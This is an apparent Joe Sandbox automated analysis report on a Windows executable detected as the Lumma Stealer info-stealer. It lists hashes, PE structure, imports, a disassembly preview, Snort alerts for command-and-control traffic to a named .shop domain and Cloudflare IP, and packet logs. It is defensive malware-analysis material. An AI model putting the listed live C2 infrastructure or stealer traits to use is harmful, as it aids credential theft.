Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 87% Number of executed functions: 35 Number of non-executed functions: 112
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 40.68.123.157
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:44:50	API Interceptor	7x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.177.98	file.exe	Get hash	malicious	LummaC	Browse
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
greetclassifytalk.shop	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CONTRACT DETAILS-73649000000000000000.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Exploit.ShellCode.69.20357.30006.rtf	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.145.66
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:94684c90-991c-41dd-8ac6-aa0438f76723	Get hash	malicious	Unknown	Browse	104.17.31.92
	Purchase Order No.P7696#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.200.96
	RFQ.xlsm.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	YLOmSlXOdi	Get hash	malicious	GhostRat	Browse	104.18.30.78
	PL -quote PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	PL -quote.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	VBFAGOia4L.rtf	Get hash	malicious	Unknown	Browse	172.67.187.200
	dgYOTTzRDQ.rtf	Get hash	malicious	AgentTesla	Browse	104.21.84.67

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PO03240162.xls	Get hash	malicious	Unknown	Browse	172.67.177.98
	TC0931AC.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.177.98
	FT_AR_9000069595_1.4.7.117_26042024.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	172.67.177.98
	Quote Request.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	172.67.177.98
	Specifica#U021bie #U0219i cantitate Pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.177.98
	order list attached.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.177.98
	Ez76m3j18V.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	z39Danfe-Pedido-38373.msi	Get hash	malicious	MicroClip	Browse	172.67.177.98
	beta.dll.dll	Get hash	malicious	Latrodectus	Browse	172.67.177.98
	https://bhoroshasthol.com/parkstate/	Get hash	malicious	Unknown	Browse	172.67.177.98

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.71875844107937
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	515'584 bytes
MD5:	665359fe7ad7626ffde7260978ec9470
SHA1:	4bf1009eeab5f6644e2caa1305623cc4ced5ea83
SHA256:	7bde1d12ff1ce50967e116119f003ae93e51198b12c06d3cee85a4199389489a
SHA512:	6e69f4f704f788b17e2213b3a05dde144b2e9385df4450067e352a71d2c353d271b05096924b25c7c044bbbd194124af101ff91cc9945d1b584004c89675c881
SSDEEP:	12288:N4SkTUGRODehc/Q+NA1nJesa2L4yivGWp/GCqMWr:N44G+hXsa2L4ygGf1Mk
TLSH:	3AB4F146B1C1C032DA33253615F4D6B49A3EBC700EA2AD9BE3D54F7E4F31A82D62156B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e~..e~..e~.c.}..e~.c.{..e~.c.z..e~.c....e~..e...e~.r.z..e~.r.}..e~.r.{..e~.C.w..e~.C.\|..e~.Rich.e~.........PE..L.....0f...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4067b1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x663014EE [Mon Apr 29 21:45:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	319c5a7bfce453072d64c94ea7770db9

Entrypoint Preview

Instruction
call 00007F8B64DD257Ch
jmp 00007F8B64DD1E09h
cmp ecx, dword ptr [00429040h]
jne 00007F8B64DD1F93h
ret
jmp 00007F8B64DD28B9h
jmp 00007F8B64DD2A89h
push ebp
mov ebp, esp
jmp 00007F8B64DD1F9Fh
push dword ptr [ebp+08h]
call 00007F8B64DDC36Ch
pop ecx
test eax, eax
je 00007F8B64DD1FA1h
push dword ptr [ebp+08h]
call 00007F8B64DD7487h
pop ecx
test eax, eax
je 00007F8B64DD1F78h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F8B64DCC9CCh
jmp 00007F8B64DD2A5Eh
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F8B64DD2A4Eh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
test byte ptr [ebp+08h], 00000001h
push esi
mov esi, ecx
mov dword ptr [esi], 004201C0h
je 00007F8B64DD1F9Ch
push 0000000Ch
push esi
call 00007F8B64DD1F6Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F8B64DD1FABh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F8B64DD1F9Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F8B64DD1F9Eh
add edx, 28h
cmp edx, esi
jne 00007F8B64DD1F7Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F8B64DD1F8Bh
push esi
call 00007F8B64DD2A00h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x27d40	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0x1b50	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x260f0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x26030	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0x13c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d3fa	0x1d400	f4b7d6747214eebf9c24f0197e4fa5e6	False	0.5775824652777778	data	6.616353678954808	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1f000	0x9462	0x9600	e0861e46d69f21a902bd0cf9d97a5b00	False	0.387421875	data	4.65276889261495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x29000	0x1eb4	0x1200	fb631e0825eb8197994a1c9222e5d15a	False	0.1703559027777778	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	2.9508121929568962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.Shine	0x2b000	0x540c1	0x54200	88a560ec8628a00f64c417bcfbd1043b	False	0.9983661079123328	data	7.999260966202749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x80000	0x1b50	0x1c00	17ece04041abecd06a6ded35e787867d	False	0.75	data	6.504308533790372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

VirtualProtect, WaitForSingleObject, CreateRemoteThread, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, GetCurrentProcess, TerminateProcess, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapAlloc, GetFileType, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetProcessHeap, HeapSize, WriteConsoleW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/30/24-11:44:55.347963	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49735	443	192.168.2.4	172.67.177.98
04/30/24-11:44:49.982146	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49730	443	192.168.2.4	172.67.177.98
04/30/24-11:44:50.754198	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49731	443	192.168.2.4	172.67.177.98
04/30/24-11:44:54.457656	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49734	443	192.168.2.4	172.67.177.98
04/30/24-11:44:52.727126	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49732	443	192.168.2.4	172.67.177.98
04/30/24-11:44:58.825440	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49737	443	192.168.2.4	172.67.177.98
04/30/24-11:44:53.635615	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49733	443	192.168.2.4	172.67.177.98
04/30/24-11:44:49.867931	UDP	2052028	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop)	58505	53	192.168.2.4	1.1.1.1
04/30/24-11:44:56.091210	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49736	443	192.168.2.4	172.67.177.98

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 30, 2024 11:44:49.978847980 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:49.978893042 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:49.978976965 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:49.982146025 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:49.982161999 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.200625896 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.200705051 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.203231096 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.203239918 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.203656912 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.258146048 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.258209944 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.258297920 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.746562958 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.746695042 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.746783972 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.748955011 CEST	49730	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.748971939 CEST	443	49730	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.753818035 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.753854036 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.753926992 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.754198074 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.754213095 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.965034962 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.965176105 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.966207027 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.966214895 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.966547966 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:50.967792034 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.967835903 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:50.967878103 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233374119 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233480930 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233529091 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233531952 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.233566999 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233608007 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.233613968 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233668089 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233704090 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.233711958 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233758926 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233794928 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.233802080 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233838081 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.233879089 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.233885050 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.234261036 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.234302998 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.234308958 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.234365940 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.234410048 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.695137978 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.695175886 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.695189953 CEST	49731	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.695197105 CEST	443	49731	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.726762056 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.726800919 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.726869106 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.727125883 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.727139950 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.935374022 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.935496092 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.956660032 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.956688881 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.957034111 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.958144903 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.958261967 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.958300114 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:52.958360910 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:52.958372116 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.511701107 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.511822939 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.511986971 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.512475967 CEST	49732	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.512495041 CEST	443	49732	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.635107994 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.635134935 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.635217905 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.635615110 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.635628939 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.847871065 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.847954988 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.863107920 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.863126040 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.863343954 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:53.866403103 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.866868019 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:53.866897106 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.406244040 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.406543970 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.406719923 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.406721115 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.456989050 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.457093000 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.457335949 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.457655907 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.457684994 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.665592909 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.665704966 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.666933060 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.666963100 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.667176962 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.668318987 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.668431044 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.668473005 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.668554068 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.668571949 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:54.712318897 CEST	49733	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:54.712346077 CEST	443	49733	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.256901979 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.256984949 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.257051945 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.257205009 CEST	49734	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.257225990 CEST	443	49734	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.347553015 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.347601891 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.347671986 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.347963095 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.347979069 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.555035114 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.555233955 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.556699991 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.556715965 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.556920052 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:55.558130980 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.558269978 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:55.558303118 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.075395107 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.075504065 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.075562000 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:56.075642109 CEST	49735	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:56.075666904 CEST	443	49735	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.090801001 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:56.090858936 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.090945959 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:56.091209888 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:56.091223955 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.298310041 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:56.298397064 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:57.487257957 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:57.487299919 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:57.488250971 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:57.489351988 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:57.489448071 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:57.489454031 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:58.091295958 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:58.091509104 CEST	443	49736	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:58.091512918 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:58.091547012 CEST	49736	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:58.825025082 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:58.825062990 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:58.825146914 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:58.825439930 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:58.825454950 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.034969091 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.035038948 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.036242008 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.036250114 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.036571980 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.037704945 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.038460016 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.038496971 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.038616896 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.038654089 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.038753033 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.038814068 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.038928986 CEST	49737	443	192.168.2.4	172.67.177.98
Apr 30, 2024 11:44:59.038949013 CEST	443	49737	172.67.177.98	192.168.2.4
Apr 30, 2024 11:44:59.039063931 CEST	49737	443	192.168.2.4	172.67.177.98
